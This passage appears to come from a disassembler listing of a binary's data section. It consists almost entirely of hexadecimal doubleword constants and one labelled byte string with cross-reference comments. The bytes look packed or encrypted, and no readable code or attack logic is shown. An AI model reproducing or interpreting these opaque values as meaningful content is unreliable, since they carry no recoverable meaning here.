		dd 3F41CA36h, 4C06C218h, 491C64CCh, 0B4B38A0h, 3400BDD0h
		dd 3B215675h, 6486FE0h,	12E53AB4h, 0E90F4855h, 40FF002Ah
		dd 0C7FCBD6h, 0AA72F0B9h, 0D4385119h, 50A7AC3Ah, 24DBDA00h
		dd 184EA567h, 0CAE68263h, 0E019CF8h, 0C8D7AB49h, 388006h
		dd 80B50A1Ch, 3693DBDDh, 0C2004C62h, 2041866h, 7424B8h
		dd 3CCD31A7h, 1F9CC819h, 8A00A2EAh, 0B5162C17h,	1DB1BCF2h
		dd 0C2A13BE9h, 1F9742F1h, 94BAC4C0h, 3F00AA7Ch,	2D0A3DA9h
		dd 1F3EA388h, 401DA4C9h, 5EF3280Fh, 2100E9C8h, 5B41940Ch
		dd 0F1575BDh, 0C512B06Bh, 131A00B6h, 6C59A679h,	6A40AC00h
		dd 2BDE888Fh, 6B713A3Dh, 6AD3F00h, 0B4265311h, 0C9AE2200h
		dd 0BF94B14Fh, 4EBC01BDh, 0F11F803Ch, 1C643C79h, 7342C4A3h
		dd 0E0138B88h, 44AD5Dh,	0ACEC9735h, 6BA3D23Dh, 9B01A97Ch
		dd 0FB28D62Eh, 37FC32EFh, 8AB074Dh, 4173473Bh, 0E00E43DFh
		dd 0E0010686h, 0B70F7F8Eh, 0C9D53F96h, 0DAF8F887h, 4BA560BDh
		dd 16304154h, 0A2B25E50h, 8E100019h, 0B2ADD23h,	4F13C8EBh
		dd 3400FB59h, 0A07D218Ah, 0DF383020h, 26ED8EF8h, 0E280910Fh
		dd 3FBC6001h, 0F542DB7h, 14860FA0h, 47D0D447h, 0D88B404Eh
		dd 39008DAFh, 755F943Fh, 7E2EEEh, 264A960Bh, 234B5CF2h
		dd 72053A98h, 35B07682h
		dd 9AB335C7h, 0D280C42Fh, 84A354h, 0FDEADE8Ch, 0FE7B4860h
		dd 0BA576501h, 13057AF8h, 2159F8h, 2D5CA27Ch, 5FADF527h
		dd 713A650Fh, 10F62C48h, 7F4C5CC7h, 0BE89007Ch,	0B7050F8Fh
		dd 0FB1608B4h, 1040CD8Dh, 7FE92A33h, 261A2EFAh,	0C81801CDh
		dd 648D27C4h, 0EC75E770h, 0A45CD82Eh, 0D603E6C7h, 7210024Bh
		dd 7E51EF39h, 877D0499h, 0F13B7431h, 4DF041DDh,	84EA069Fh
		dd 88A6235Eh, 4E5DCCFFh, 0EB5B2500h, 0B56AC28h,	0BFB60944h
		dd 70012BFFh, 0E0CE2940h, 11C057B4h, 0D998D399h, 6581004Eh
		dd 0EFB7F3CDh, 8E73D701h, 0AFDB0400h, 0BFF79F20h, 1E4A00A2h
		dd 48EB5F22h, 0E530FCA7h, 0F2014828h, 6C82E0BFh, 0F578201Ch
		dd 5B94903h, 83F89C72h,	80CAE243h, 0FBE49D18h, 0D390005Eh
		dd 0CE340683h, 6B0F8A8Fh, 0E1873F23h, 0B3A8A616h, 0F0AFEEC0h
		dd 5FDE0C2Ch, 3B18E31Dh, 41B88200h, 9A5C9625h, 0BEE138C6h
		dd 2199AC80h, 0ED23233h, 4392820Eh, 2ECCC0E7h, 7CD4C6h
		dd 750CB649h, 18881471h, 6C004CFAh, 0E2DB24E3h,	0DB354h
		dd 0C153D40Ch, 0C0EE3494h, 32DA9C00h, 3B996AEh,	55F70012h
		dd 0A297E274h, 32C08966h, 8792B357h, 0DE21011Dh, 5F8A527Fh
		dd 9439F003h, 800420F4h, 893A5601h, 27C61C90h, 7C57D5Ah
		dd 316E48DBh, 2092FE4Bh, 5A0F9C2Ch, 0B0A6A700h,	0E9E046E4h
		dd 19CC1EFCh, 0CF44C05Ch, 7CD1260Ah, 7129AE03h,	0E3AB9EDEh
		dd 0DA1818DFh, 0A7BC4885h, 7365FA0Ch, 58210A8h,	9CF5CA93h
		dd 0D9E01F84h, 806C08BCh, 0CABAB121h, 6060CE8Eh, 0FC805646h
		dd 7462A2D4h, 8C0C860h,	9F9881E4h, 833B1A55h, 0E0B7062Ah
		dd 89200AABh, 40CC2EDh,	10FDF317h, 8C7EB848h, 0E3C67A3Eh
		dd 9C7CB48h, 787CE861h,	14B77980h, 0E20075AFh, 0F83EB17Bh
		dd 337AD93h, 0E5D348F3h, 0CEB80D59h, 0E400CB58h, 0E907D05Fh
		dd 606D15h, 9ADCED3Dh, 5EF17E98h, 33F07800h, 0C092CE3Ch
		dd 3FBE5C35h, 45102901h, 0E00C91B8h, 2200CF84h,	9B286B11h
		dd 48776Dh, 0E64D392Fh,	9319B006h, 0AF003DFEh, 7B013473h
		dd 0E6E7D65h, 66486FECh, 261EA6C1h, 0B230E8A7h,	3836E100h
		dd 3F843F4h, 7121001Fh,	2FE3ED13h, 0E416EB3Eh, 7D005479h
		dd 0EECE6F44h, 932C01C1h, 0DD333C07h, 0AB25C482h, 3E03D00h
		dd 0B66F7AC8h, 11C900F0h, 437B3833h, 0BA00D8B7h, 0E4C33984h
		dd 0FD4CC7Ch, 80B5ECCFh, 26783C1h, 61D2E564h, 0ED19F498h
		dd 0DC2FC400h, 868C911Dh, 6F0500C1h, 0B6EBA828h, 0F3032415h
		dd 7DAC7633h, 0EF23A18Eh, 692BB06Bh, 8366413Ah,	351588C4h
		dd 7383C092h, 0E82FF857h, 23B10054h, 3DE97A99h,	2100B69Ch
		dd 948F8DF1h, 31BE9B74h, 51BC277Fh, 4BCA3036h, 0A35C9677h
		dd 806B3E87h, 9C992064h, 0FAFC0CE4h, 104531F7h,	1132BA28h
		dd 98121B66h, 8947A010h, 200208BEh, 0E42266ADh,	214B42F0h
		dd 88BF1062h, 8D0843C0h, 0C86A121h, 0EC29AEA7h,	3DC211E3h
		dd 146A5194h, 22647728h, 8722F3A8h, 146E503Fh, 67C6200Bh
		dd 47517442h, 31122988h, 0DD88AB03h, 0C0BFBCB5h, 56329021h
		dd 1442D300h, 0E57524C0h, 5B720023h, 0C5A3B8E3h, 32046F3Ah
		dd 850BF34h, 12985C80h,	8E5F004Fh, 7F370442h, 943A97C4h
		dd 797C00C9h, 0B8AB69DBh, 25DF009Ah, 47A1DEACh,	5600E6A0h
		dd 0F99DA8F7h, 90C2Fh, 0CBFE34D5h, 8889080h, 0A9F3E800h
		dd 3697DA6Ah, 3D827393h, 127201FAh, 0CE5084h, 0C6CC0BA8h
		dd 0A2009A97h, 9DE283C4h, 5D13B2h, 0FA12084Fh, 3CF2BC2Ah
		dd 0F426800h, 11C12946h, 67DA03ABh, 0E71AFE77h,	9ED37BC0h
		dd 0F1E83800h, 1329F36Eh, 25C70FF8h, 4840BD57h,	0F21F0858h
		dd 0BB7ED000h, 6CFF90C9h, 12650094h, 66A1C3Bh, 0FE00BFA5h
		dd 0EC66B848h, 1CBB3F32h, 59D8B2h, 0A14A1DC8h, 23075FD9h
		dd 3AEDCF9Ch, 606BE032h, 398BBE75h, 0B900D01Ah,	0E1F73CD3h
		dd 741F7BDBh, 59004290h, 9EEF7C1Eh, 10E42Bh, 0E74BD229h
		dd 75220641h, 8D0B9300h, 76D0956Fh, 5B6733Fh, 1C74790Eh
		dd 32AE801Bh, 0B907903Eh, 70535C54h, 35E836A0h,	4D2C0B43h
		dd 65F82568h, 9C4FC00h,	39DA45F1h, 2D670137h, 0C9151372h
		dd 98A9C4E0h, 0A2034903h, 0B0637457h, 2F8B06h, 0B5EFB928h
		dd 628504BBh, 9D0C8439h, 0C24CC12h, 806BF080h, 0FE354769h
		dd 0A7BF0760h, 90144611h, 7443FBA4h, 0BC0389F4h, 0CFEDE3A2h
		dd 85220049h, 0CAB79EDDh, 2550AA0Ah, 0F03F6ECh,	72B85634h
		dd 936DA887h, 0AEDC0043h, 61C5E6E3h, 0E9004109h, 9D18A444h
		dd 0FEF49766h, 614398Ch, 0F9E1EC00h, 913CE46h, 975ACF00h
		dd 3B6533D6h, 0CB7204D9h, 0D0C5A401h, 0AE69EBDCh, 0BBF32F00h
		dd 0E37693D4h, 0ED7D05DBh, 0C289C3h, 67717ECh, 2F00E2EBh
		dd 0C8A66665h, 9723D7Fh, 0FBEA642Bh, 11951400h,	181DAA5Dh
		dd 7FDE40h, 4E4635ACh, 18C69BDh, 0C156CE8h, 0F485E222h
		dd 9C0E39D7h, 2077FA0Eh, 92CF7836h, 4EB005Dh, 0A924D562h
		dd 0A30026CDh, 0F98215A4h, 92A8430h, 27DC903Fh,	81C65B80h
		dd 2B00C3BBh, 369B6A10h, 84FFCDh, 29C128DDh, 248E68FCh
		dd 80A4483Dh, 0A0CF5CFDh, 0F174BF3h, 132B61BFh,	0BD8E3400h
		dd 210047C9h, 3D0EE541h, 68F3E4h, 0B69BB5BFh, 87A73F4Eh
		dd 0FCEDE100h, 89468392h, 0A0040003h, 0E87A65B4h, 4C0060A2h
		dd 0AC810955h, 0E90825Ah, 4843949Bh, 0A2FCC4C0h, 0A30717E7h
		dd 20F1F79Fh, 0D48C5190h, 0E0092E88h, 21760079h, 0C6183204h
		dd 5213F61Ch, 0FA80125Fh, 0E2ED1F92h, 0CA370FB2h, 0F88F4E38h
		dd 1820FC06h, 304C0A1Fh, 1022844Ch, 475300C2h, 0C0988BD4h
		dd 0E101AAB8h, 0BB9591BCh, 0CFDCF0EBh, 2D4A0016h, 7CF5232Fh
		dd 6F0ED352h, 60205E6Eh, 8BEADC74h, 1D06E247h, 0C0B892F4h
		dd 0ECC44271h, 0D40013D6h, 0DA5F996Ah, 647B82h,	0F2C5EE79h
		dd 30D048B3h, 88E839h, 8A7AFAA6h, 33D225h, 906180Ah, 0A998EA36h
		dd 353C4890h, 0BA238073h, 0C4E1E908h, 0FF6B0049h, 0B80EAFCCh
		dd 59E6D495h, 35414C1Ch, 0F2282EC4h, 0D08BB980h, 261D7909h
		dd 30E7EBFh, 0B04DB92Ah, 0A86381CCh, 481E70D4h,	84AB4300h
		dd 549BC36Fh, 76B753Fh,	26D47DDh, 0B0C2B0E9h, 0E2120946h
		dd 800A2FAh, 233C7385h,	0E74C01A8h, 619C0D75h, 0AE107027h
		dd 0F471600h, 94C5E97Ch, 441C01D8h, 185BFE41h, 0C071EDECh
		dd 6400E82Eh, 0C659628Dh, 90869A42h, 402B0008h,	15F0523Ah
		dd 1F0020A8h, 0FF8F1833h, 488D19h, 0D1C94B04h, 0F474A940h
		dd 0A41AA300h, 0A7638492h, 0E8B63DDBh, 3C116A00h, 7179AC14h
		dd 0E956AB13h, 0E03CD4F8h, 1E080907h, 0F75560CDh, 90009365h
		dd 0EB01A4B4h, 6002AAh,	8ED65E47h, 5DFF2DC9h, 1CB15C1Eh
		dd 0D5E25180h, 1D175E6h, 0ECCEFC81h, 2464E34Fh,	59FCA22Ch
		dd 0F8E4D414h, 0C98C00F0h, 0A3BA37A6h, 2D3B12A9h, 0D0C4009Dh
		dd 0BB554F1Ch, 0BE3F18C0h, 935008h, 0DE1BBD5Ch,	0A46CE84h
		dd 12FC700h, 0CC1FE353h, 0B6810773h, 30CFD094h,	91CB6B06h
		dd 0C98D8700h, 9A05B0F1h, 0F850016h, 50DAC39Fh,	5201F6ADh
		dd 0FABA17C7h, 78C81857h, 0C96500F5h, 940D3DF0h, 4907BCD9h
		dd 6AA42997h, 0E8935433h, 798B634Fh, 3B350348h,	9E17785Ah
		dd 0F73409D9h, 0FDA28081h, 0B8D0F077h, 0C5B73507h, 0D1A0E9D3h
		dd 1CF6ABBCh, 0C79EAF40h, 37DFE6E5h, 0E3D9F0F5h, 150FADECh
		dd 0E3458587h
		dd 0B04AFFA0h, 0E6175AAh, 0C42A6A47h, 0ACFC407Dh, 2F9680CDh
		dd 6D0EA5F2h, 8F593B61h, 0BA8A20D8h, 236C3h, 3A9949ACh
		dd 8B8643C8h, 272DCB00h, 0A2B93F50h, 4D91008Ch,	0D85BF2AAh
		dd 6F074237h, 7F128B68h, 3A6180EEh, 7B6F38Dh, 625009BFh
		dd 0F99D034h, 85B0EE70h, 0F312DD0Ch, 78B6E8D9h,	8BCD0497h
		dd 0C0BF11FBh, 6B31810h, 6D9DDA01h, 0EC6A3A2Eh,	9981E4h
		dd 0BE843144h, 9ADF0104h, 0B6944000h, 0E10A776Ah, 0F799001Bh
		dd 0C108DB1h, 0D200DC65h, 0E6C25BAEh, 0E51CB9h,	7F6CF7A0h
		dd 5F168741h, 327C4976h, 3E03E85Ch, 1CA8BA78h, 1400FA64h
		dd 0A48107BAh, 9BEA0012h, 98E13538h, 5E001FA6h,	0E5EC86C3h
		dd 0E80533h, 79766916h,	7531C120h, 9A947100h, 0D3DCF9A5h
		dd 77E29Ch, 0A3AC3B57h,	32569067h, 859D1A1Ch, 3A4A7B80h
		dd 0BFD10Bh, 1B3422FBh,	0B214966Fh, 0BDC8F560h,	1609EF79h
		dd 1B9778D4h, 0D5B00E02h, 0BC0F54CCh, 828CF1D7h, 8E84729Ch
		dd 8001B6D8h, 21C1B2Ch,	190E9E4h, 0FFDE129Ah, 0C498105Ch
		dd 34079CC9h, 0C4CCE670h, 8FEF6F40h, 159E00D7h,	0A3B4582Bh
		dd 0E10018C2h, 0F6327E97h, 663DCAh, 0B76EEFC3h,	0C40D8D8Bh
		dd 0F304BD00h, 0E07674A5h, 7BA61F49h, 0BFC84054h, 237C7E26h
		dd 0BA0394E4h, 134A03D4h, 0C21900C7h, 0A81FEF6Bh, 2D00E440h
		dd 8BC8B8CDh, 3F1389h, 0CE12295h, 96CFCBB7h, 8157DE38h
		dd 0C6A517F9h, 0D1F08AB1h, 16250F33h, 4D2064EEh, 9B38967Ah
		dd 0C5C30B00h, 0E6789286h, 0A81A0055h, 2F516BA4h, 0CB00992Bh
		dd 3BCFF74Dh, 14FA28Dh,	0A928D8BAh, 807CE64Eh, 0BC6B1288h
		dd 77E94073h, 8A0700FEh, 8D960B5Fh, 4700A09Ch, 0EFA64303h
		dd 792C19h, 0AE064D95h,	0A035709Eh, 4BB8710Fh, 0C4BF4166h
		dd 0CDF44950h, 209B1DE9h, 860440CBh, 0FD290953h, 0B6097C90h
		dd 8C394D3Eh, 698822h, 0F2C4D3D8h, 0CE715642h, 35766701h
		dd 2EA39122h, 0D0FA60h,	79AE8402h, 80783DD9h, 5900E976h
		dd 522EB383h, 786ACA8Dh, 4BFB006Dh, 0F82AECB5h,	0F5B8B914h
		dd 0F7E7E901h, 4334CDA1h, 1370AFEFh, 66E64Ah, 0D6BEBC09h
		dd 0B04FFAF1h, 0AA0024FCh, 0A5EDDC97h, 0F618DAF6h, 0D02D00ABh
		dd 0EE059B35h, 0B07EAE1h, 33DE5831h, 0CF4620FFh, 90DD37h
		dd 2148E480h, 9E7BD9F2h, 0D2047307h, 1AA07D3Bh,	0E3EAEB1h
		dd 0B5B77CBh, 292FFA40h, 3F006EABh, 42C05AB8h, 1E2904Ch
		dd 8C59149Dh, 0F8154D3Dh, 0F4EC581Dh, 0FA67A517h, 0C5AA0900h
		dd 0CBD45Fh, 7735B90Fh,	0E249A064h, 0A3B6E900h,	0AF68312Fh
		dd 0AE150095h, 8C50821Fh, 9807610Eh, 2CA7F10Bh,	8E4916E0h
		dd 884300FCh, 2A997365h, 7009B3Ch, 0DDE7FBCFh, 3E49C260h
		dd 0A700E041h, 8BBB6E68h, 0B100B42Bh, 6B4ACF13h, 797A07h
		dd 0C06A3026h, 98D45B28h, 8D10DC01h, 0FF1D7D06h, 9CA1C0h
		dd 4C51A02h, 0E1847075h, 17928200h, 86742B8Dh, 944E003Ah
		dd 0D065DD26h, 7A141FC8h, 0B8812Dh, 9B87B089h, 0AF676Dh
		dd 69D59117h, 0A93FFCCAh, 0F9433800h, 7A31DC45h, 2B60072h
		dd 0A80F68A2h, 9400E5B5h, 7E928953h, 81612CAh, 0EE045558h
		dd 708A880Eh, 0F326B282h, 35CD9380h, 0D0000CBAh, 3216E245h
		dd 9E5ED9h, 0B7877D6Eh,	967988C9h, 18558339h, 0F6A87ADEh
		dd 7BB90085h, 0AF518E48h, 2A079123h, 0D41B160h,	39B737D1h
		dd 8C72FCh, 5CE43276h, 55124544h, 4C98C63Ah, 9D83036Dh
		dd 88BEA1AAh, 7CCD6B9Ch, 0B087EFD8h, 0D0C4880Ah, 3A13E057h
		dd 0C101D578h, 0A22E1B38h, 0F520C6A6h, 1F607D8h, 0D0DF0B17h
		dd 7D525EEDh, 1CBB8D00h, 76C6CD23h, 610C00EFh, 0AE42A891h
		db 0B4h
aGo		db '¾êÊ&ƒoÏ',0          ; DATA XREF: ___:00438120o
					; ___:00438138o
		db 68h,	0B1h, 0D6h
		dd 765C7C1h, 313E49B0h,	213AF011h, 9AFC15AAh, 38983D1Dh
		dd 0E9744D40h, 724178Eh, 4E05BEADh, 2C7AD0C5h, 9B0093BBh
		dd 6EA2FE4Ah, 0B3DBD0h,	64091FE0h, 0FFCF52EAh, 74205F0Eh
		dd 8276C7ACh, 3FE39270h, 0B8510A42h, 1E9FD139h,	1D26C0F0h
		dd 3DC193B2h, 1B37EF01h, 0E4AF843Bh, 3D4D9CCh, 35D6B58Dh
		dd 8A01225h, 0F500534Ah, 0BF02D27Fh, 60690306h,	1EEC90BAh
		dd 0EA00CE6Fh, 41AC4475h, 3B6C603Bh, 42802934h,	0A9B90628h
		dd 5600851Ch, 0BEBB6B0Bh, 1A56858h, 0AC641E31h,	0F065EAEFh
		dd 0BC00E02Ch, 42B55DA0h, 36322Dh, 7C9619C2h, 0A27B2422h
		dd 0D1A7E20Eh, 28005737h, 19095E46h, 0A0566045h, 1BB374B4h
		dd 0BCD4E200h, 0E1217A02h, 3DE407DCh, 40C2795Dh, 76F3AF41h
		dd 55FC3990h, 9F398EFEh, 759480BDh, 777EEA40h, 0B14F01D5h
		dd 0C5B67C27h, 0A002CF20h, 0E1C81C26h, 80DD6288h, 0DEF80C48h
		dd 0AD21007Bh, 0EBF401B3h, 790343BCh, 547140ABh, 8703E0F5h
		dd 0AA531652h, 43E40E09h, 20F661C7h, 0FC4158C0h, 8F019B1Fh
		dd 0A9B335C0h, 0E1D675h, 52385722h, 0F3DB7B83h,	640F6377h
		dd 0C0F14866h, 29678D1Ah, 8EB30247h, 8968E452h,	0E85BE880h
		dd 0F4E1CD5Eh, 2C035957h, 61152BCEh, 0A2A4B88Eh, 9E6400DEh
		dd 0F2568F27h, 0CB9868A3h, 3FFB0A00h, 0AB8790E1h, 46033CD1h
		dd 0C032209Eh, 2DD7E06Eh, 2C00EDB3h, 7FBC68F5h,	0D5A470h
		dd 6D2838C8h, 0DEAE544Dh, 0F9E57803h, 997E88C2h, 99DC0A71h
		dd 2369008Bh, 7CD952F4h, 0BC038F15h, 0AF114281h, 9B60C86Bh
		dd 913005DBh, 8021077Ah, 10E9DA7Ah, 4227E4FFh, 1D66800h
		dd 43827448h, 4B3D5851h, 0F9113Bh, 7C8616Fh, 3E134B36h
		dd 0B52CA401h, 4862A95Ch, 7E2C60h, 4EC56785h, 2D44D580h
		dd 41F99E00h, 20564932h, 642B008Ch, 0FD4659D6h,	7D502794h
		dd 7F0089E0h, 61FEC165h, 3977B81h, 9DB0EAEh, 0CAE871A9h
		dd 9B00402Fh, 0A40A9A17h, 8FF6C6h, 67229B2h, 4C4F6F8Dh
		dd 7523E901h, 11E7AEB0h, 3F5E4C20h, 7D9DC4AFh, 0B7DBCC10h
		dd 0C9753219h, 0FC6E7603h, 0C8023EA2h, 3B2257Ch, 0C54283BFh
		dd 0C0A0A13Bh, 8C90054Ch, 4A6A0E12h, 0BE9B8000h, 7FC86DAAh
		dd 79A10084h, 128CD121h, 7624D83Bh, 0DE0010C0h,	1F9BA88Eh
		dd 0B0A36087h, 0F0D22633h, 441721C0h, 5E7CA8h, 30DF98E5h
		dd 5DF31303h, 0F929E200h, 0C149A4FAh, 0BD4FD9Ah, 0A2FB3B16h
		dd 79DCFD80h, 93C75DE8h, 7384BD2Ch, 6D56DE03h, 8A59F0B7h
		dd 0C4E80097h, 0A11A117h, 0AC0063E7h, 0F44D5F50h, 5B8C197Fh
		dd 0AA4CA03Fh, 0E03A5600h, 7B543E53h, 0E42C3FC0h, 73DF7F85h
		dd 38A000B8h, 0B55C85C7h, 0D6314E01h, 909B0D34h, 4D439A80h
		dd 81BD6D17h, 0E5A94000h, 0C58702CDh, 0A6B13014h, 35EB95F8h
		dd 60C8577h, 198A1A88h,	1E6FEA78h, 824616A3h, 500BE4FEh
		dd 90486962h, 0DE482A6Ah, 845D2680h, 0B9648038h, 9D670F8Ah
		dd 5CFF002Fh, 0D5600245h, 0B53B5A0Dh, 0B769FE3h, 0AFE0C9h
		dd 0A64B7C20h, 0FA351CABh, 84E18071h, 0B3924CBBh, 0F2F4D150h
		dd 0ADEB4B01h, 6631C7FCh, 0FFC03435h, 954601F9h, 971F4085h
		dd 0C9DFC07Ch, 0E7EA5A0Ch, 0E15498FBh, 60A946F0h, 0B14A71FAh
		dd 42017ED7h, 0F76C7D0Dh, 64348F03h, 2D9F2616h,	0C74BD7Ch
		dd 0DFD376B8h, 0EA3CB270h, 0A0FB8097h, 0B6608074h, 0EB61016Dh
		dd 0A9AEC020h, 9E7830BFh, 920F65F0h, 42211589h,	68972584h
		dd 0B50E0CCh, 7B52D1ECh, 6DDB1C10h, 4500F77Ch, 40895648h
		dd 0F46A4C17h, 0D17788h, 0D275DE5Ch, 0E4C616E1h, 3BD44948h
		dd 90B50A0Eh, 7600D470h, 0D697588Ch, 202302A4h,	0BCBB62B1h
		dd 9E577083h, 407370EFh, 9974BEE1h, 8E0F95E0h, 608645F8h
		dd 5B7E8921h, 0BAFF00C2h, 6898B8F3h, 0C800372Fh, 0DB343FFDh
		dd 7F9BBDh, 0D682C3C7h,	8E521C0Ah, 4130D107h, 0C9E025DAh
		dd 197E11Bh, 9FFCB323h,	40D1F79Bh, 7B0594C4h, 9D57A900h
		dd 4EDB3BD3h, 0AC561328h, 0E19441F2h, 0F46269BBh, 837193BEh
		dd 0F3EE880h, 8111B10Dh, 104EA480h, 5F1354B8h, 900184A0h
		dd 0EC49763Dh, 2851800h, 0EABE4809h, 174800BDh,	922BBAB7h
		dd 0F2F1FF0h, 12064098h, 319F0C63h, 147CC824h, 0BA248B00h
		dd 0B05CD074h, 0B3FE1C3Ah, 0F5E983F9h, 2A98FC96h, 8700B835h
		dd 8D73595Eh, 0DE9A20h,	5D7881B4h, 297DD8Fh, 4D41BB03h
		dd 0D86C86E5h, 4C71CEh,	991E56E4h, 510E2DCh, 0EDD2405h
		dd 8C8101BDh, 0D9D0D77Fh, 275E0007h, 3DE7D415h,	0E101D0D3h
		dd 0E0F4B6A0h, 1424D849h, 90B7h, 4FBCFA45h, 9C88E971h
		dd 18A9ED30h, 0B0E28FEAh, 65F3002Fh, 0E77B50BCh, 32003671h
		dd 58071F2Bh, 98530B9Eh, 178D07B1h, 90F12787h, 0BEF3F069h
		dd 97C63400h, 9A492B3Fh, 70E600EBh, 4EBB4FE3h, 41009656h
		dd 69E46C13h, 333BD88h,	39A0EA3Ch, 55A2C3C0h, 7DB99460h
		dd 9FE31E00h, 77AFAA8Ah, 0EC48F6E4h, 0C8CE00D6h, 3FF812EDh
		dd 0E738535Dh, 0B51E60C4h, 34D9DABh, 0BC5FB110h, 37E026BFh
		dd 2903791Fh, 0D6E7A12h, 0B6863FA4h, 5C08ECF4h,	6500AC72h
		dd 0E4931C9Ah, 0E50785E0h, 0A559F501h, 0B1DE3E0h, 53510E20h
		dd 0EE27772Dh, 1CA7E08Dh, 0E10E43BEh, 206B3999h, 1EB321AEh
		dd 481BF2A1h, 0A0005CD0h, 44DEE7B9h, 5800F950h,	0EA4742CAh
		dd 7943695h, 26656D62h,	0C0C7049Dh, 45373FEBh, 1FD12724h
		dd 0C5FEF500h, 2A879DBh, 24280F94h, 5C4086ADh, 2D03A0B1h
		dd 2E9D32E9h, 0A8C2C82Fh, 4981F8B5h, 0C1005885h, 61B43828h
		dd 3A091894h, 0A0D9AE27h, 88526364h, 350B1DE6h,	24534319h
		dd 0A6D01695h, 970156F6h, 2F3926E4h, 0CBF1ABECh, 0F2057D8h
		dd 98E828E3h, 661F12E3h, 82B6180Ch, 3BCF0F4h, 815DD344h
		dd 70DF8897h, 326E3DE1h, 193B3E03h, 909DCBh, 676CCEE9h
		dd 7D112CBBh, 96BE401h,	34FECC60h, 79C2A470h, 7FA00B8h
		dd 888A7A52h, 30C0952Ch, 98B4101Ah, 38B30FC5h, 419DE43Bh
		dd 3F192A74h, 1828AAh, 0F46BA34Ah, 0A0E225F3h, 8B0294h
		dd 0E0A84E04h, 2224C112h, 0B7D4650Fh, 205E020h,	607981D5h
		dd 2F38B8E4h, 0B42C4E16h, 7A0024DBh, 0F3BD895Dh, 4DBA002Ch
		dd 26AC14AFh, 581D6886h, 80FED794h, 20784524h, 1FC01113h
		dd 0B99ECA64h, 13939054h, 23855BF5h, 91809610h,	959E469h
		dd 6788021Ch, 20AABD5Eh, 0FA07C46Fh, 8802DA4Ah,	707D91h
		dd 3C2DD142h, 58E0D901h, 8F2C30C2h, 0D6405E81h,	20DD5981h
		dd 88095510h, 60091FAAh, 0A6ED54h, 4F1004BEh, 2DD902F0h
		dd 5FD19A00h, 7E231DEAh, 1ABE468h, 0BD355D85h, 31AAB160h
		dd 9E6BC41Dh, 74F81C04h, 2480AC9Ch, 0F2B33C40h,	0E40F3091h
		dd 8C427D60h, 3500DE73h, 0F9B105B2h, 7CCA0A20h,	0DB641CE7h
		dd 0C0989F08h, 85A9A231h, 2B00D56Bh, 4CF4CBFBh,	54D8D1h
		dd 1BC4A73Eh, 0E4688B96h, 70A41D00h, 8A2BE98Ch,	3C10FECh
		dd 4DC7FE90h, 4898C059h, 0BD00D006h, 2635B2Eh, 7523E86h
		dd 75544FDEh, 7C6E90CAh, 0EC0FE84Ch, 0A07BCCB2h, 77E2D872h
		dd 25780371h, 95171187h, 107036C0h, 6AA53701h, 0F204DE4Ch
		dd 61C8E040h, 0D8A6C6AEh, 57B024C6h, 11DD820Eh,	5636409Ch
		dd 7B8B5EFh, 0F8FF03BFh, 0A908E0EEh, 0FD3B508Bh, 0D7D39FD6h
		dd 0C7776C40h, 9053452Ch, 6BF913E8h, 93F00015h,	72553F80h
		dd 0B4744C00h, 0DAFD9030h
		dd 2D14388Fh, 0A5F80B80h, 0A320D2B5h, 0A261510Fh, 5CF0E0C3h
		dd 50E2F932h, 924C4C2h,	627E089Bh, 45E14080h, 26092776h
		dd 3B479FCh, 0A0B34DA4h, 8D12B2h, 58407AB7h, 31C5D4F7h
		dd 5D07427Ch, 0A84C11D5h, 0A56AE30h, 58E91368h,	5E00EAF9h
		dd 8537313Fh, 35FE022Fh, 4904EA65h, 26139CE8h, 0C7E488B0h
		dd 374B8B00h, 332B0D14h, 0B3BE1D85h, 9D18E47Dh,	0CFD7C118h
		dd 0DC09D9D2h, 0F2EB6ADh, 490F6859h, 5E82C001h,	0F8A12839h
		dd 0B9620050h, 43A7CE0Bh, 0D80022A2h, 0BFD52E77h, 32F3538h
		dd 0E13DB4DAh, 0CCE06D08h, 4B00DC91h, 78645D3Ah, 4C3912h
		dd 43240AECh, 0CE9FA776h, 5E655F1Ch, 70B62E00h,	3C9E45h
		dd 6FD84A52h, 0F372F233h, 113A367Fh, 0F9600087h, 0A74A0A85h
		dd 0E403008Bh, 7EBB27F5h, 0BD00D851h, 1A461C04h, 0F6EF94h
		dd 54B233C8h, 0BC082A4h, 51091401h, 125E38B7h, 0FCFEAD8h
		dd 0F55C93ACh, 4572ED20h, 1B733CA1h, 4C436909h,	0E735CAEh
		dd 1C44F7h, 813FF95Ch, 0B0009E0Dh, 0EA34A4A5h, 79B6177Dh
		dd 0C7FA4Ah, 99BA5243h,	0C31C0ED4h, 1B00C0F4h, 0FAF75FA7h
		dd 61690h, 0D0D425D1h, 0B8542E94h, 4555E500h, 1390AA3Ch
		dd 44C403E1h, 0C25C9E0Ah, 0AF16BC90h, 0F821101Dh, 521D2840h
		dd 0C3BE3Bh, 0CC950815h, 0FF7ED104h, 0F2F70B02h, 833292A1h
		dd 0A8C296CBh, 0DD55D9h, 631E97ACh, 0D035FD6Ah,	0D8ADEC00h
		dd 0F7EACCE9h, 0F13F00CDh, 2A8E9B7Ch, 0B800A870h, 866A92DCh
		dd 9009D8C7h, 7C4100DEh, 1077DA73h, 0F300460Dh,	7901DD48h
		dd 52EA21h, 0F660579Ch,	9B766215h, 0F80CAC00h, 1B95747Bh
		dd 6A90003Ch, 6DA9B742h, 9B175EB5h, 770F1743h, 0F0838788h
		dd 34F45440h, 0D060076h, 17EC6AC4h, 2000DE3Eh, 9B56C97Fh
		dd 71E8B72Dh, 9D7700D7h, 55C74DF7h, 0B6016CEEh,	0B5E03C95h
		dd 0F0C0A837h, 192D1E5Bh, 0FDC8C0A7h, 7B2CB47Eh, 0D3100300h
		dd 219D089Ah, 9E90014h,	0F6E08D48h, 3F007D3Eh, 0E3514D5Fh
		dd 4CFB199Dh, 8B16941Dh, 722500C8h, 9A582E48h, 510CFD00h
		dd 0A78D7D97h, 0B87C00B0h, 46EDE03Fh, 8100C68Fh, 0AF74796Fh
		dd 7B60241h, 5E40A211h,	0C09C4F24h, 852A3AF3h, 0CE3D0574h
		dd 6AC80037h, 0CD47A07h, 4938001Eh, 890E13A9h, 0DA00E575h
		dd 6B8C1FA2h, 26EBEDEh,	96FF0576h, 27C0498Dh, 5100D009h
		dd 38CC7CE9h, 769AE2BCh, 881C006Dh, 96A376E0h, 75602734h
		dd 2C83D670h, 0E990092h, 0D840501Eh, 0C40096DCh, 0CBE49D7Dh
		dd 0FA4E1030h, 617DA1h,	0CF48EF65h, 0DEBD38F7h,	4C4DD48h
		dd 27499C0Ch, 3B507C87h, 0B039CED3h, 0CFAB000Ch, 60580755h
		dd 40F2B724h, 7952E800h, 0F1C764CBh, 8B910E66h,	0DEE001D8h
